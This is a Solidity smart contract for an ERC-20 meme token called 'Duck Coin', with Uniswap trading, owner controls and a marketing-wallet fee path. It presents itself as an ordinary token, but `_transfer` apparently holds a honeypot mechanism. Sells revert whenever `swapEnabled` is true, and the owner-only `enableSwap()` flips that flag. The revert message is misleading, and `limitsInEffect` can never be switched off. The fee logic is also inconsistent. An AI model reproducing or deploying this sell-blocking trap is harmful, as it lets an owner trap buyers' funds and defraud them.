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/*

Website - https://duckcoin.vip/

Telegram - https://t.me/duckcoinerc

Twitter - https://twitter.com/DuckCoinErc

*/

// SPDX-License-Identifier: NONE
pragma solidity ^0.8.18;

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amount);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}



interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract DUCK is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    string private _name = "Duck Coin";
    string private _symbol = unicode"🦆🦆🦆";
    bool private swapping;
    mapping(address => bool) private isExcludedFromFees;
    mapping(address => bool) private isExcludedMaxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public buyFee;
    uint256 public sellFee;
    uint256 public maxTransactionAmount;
    uint256 public maxWallet;
    bool public startTrade = false;
    bool public swapEnabled = false;
    bool public limitsInEffect = true;
    address public uniswapV2Pair;
    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);
    address public marketingWallet;
    mapping(address => bool) private pairs;

    constructor() ERC20(_name, _symbol) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        excludeFromMaxTransactionAmount(address(_uniswapV2Router), true);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        pairs[address(uniswapV2Pair)] = true;
        excludeFromMaxTransactionAmount(address(uniswapV2Pair), true);
        uint256 totalSupply = 100000000 * 10**decimals();
        buyFee = 0;
        sellFee = 0;
        maxTransactionAmount = totalSupply;
        maxWallet = totalSupply;
        swapTokensAtAmount = totalSupply.mul(1).div(100);
        marketingWallet = address(0x1b1df147CF0E1871c649205ad02E106d01BdA00c);
        excludeFromMaxTransactionAmount(owner(), true);
        excludeFromMaxTransactionAmount(address(this), true);
        excludeFromMaxTransactionAmount(DEAD, true);
        excludeFromMaxTransactionAmount(marketingWallet, true);
        _mint(_msgSender(), totalSupply.mul(100).div(100));
    }

    receive() external payable {}
    function excludeFromMaxTransactionAmount(address _address, bool excluded) public onlyOwner {
        isExcludedMaxTransactionAmount[_address] = excluded;
    }

function _transfer(address from, address to, uint256 amount) internal override {
    require(from != ZERO, "ERC20: transfer from the zero address.");
    require(to != DEAD, "ERC20: transfer to the zero address.");
    require(amount > 0, "ERC20: transfer amount must be greater than zero.");

    if (from != owner() && to != owner() && to != ZERO && to != DEAD && !swapping) {
        if (!startTrade) {
            require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active.");
        }

        if (limitsInEffect) {
            if (pairs[from] && !isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the max transaction amount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded.");
            } else if (pairs[to] && !isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the max transaction amount.");
                require(!swapEnabled, "Swap has not been enabled.");
            } else if (!isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded.");
            }
        }
    }

    bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
    if (
        canSwap &&
        swapEnabled &&
        !swapping &&
        !pairs[from] &&
        !isExcludedFromFees[from] &&
        !isExcludedFromFees[to]
    ) {
        swapping = true;
        swapBack(false);
        swapping = false;
    }

    bool takeFee = !swapping;

    if (isExcludedFromFees[from] || isExcludedFromFees[to]) {
        takeFee = false;
    }

    uint256 fees = 0;
    if (takeFee) {
        if(pairs[to] || pairs[from]) {
            fees = amount.mul(buyFee).div(100);
        }
        if (pairs[to] && buyFee > 0) {
            fees = amount.mul(buyFee).div(100);
        } else if (pairs[from] && sellFee > 0) {
            fees = amount.mul(sellFee).div(100);
        }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
    super._transfer(from, to, amount);
}

    function enableSwap() external onlyOwner {
            swapEnabled = !swapEnabled;
    }

    function swapBack(bool _manualSwap) private {
        uint256 contractBalance = balanceOf(address(this));
        bool success;

        if (contractBalance == 0) {
            return;
        }

        if (_manualSwap == false && contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        swapTokensForEth(contractBalance);
        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
    }

        function enableTrade() external onlyOwner {
        require(!startTrade, "Trading is already open");
        startTrade = true;
        }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

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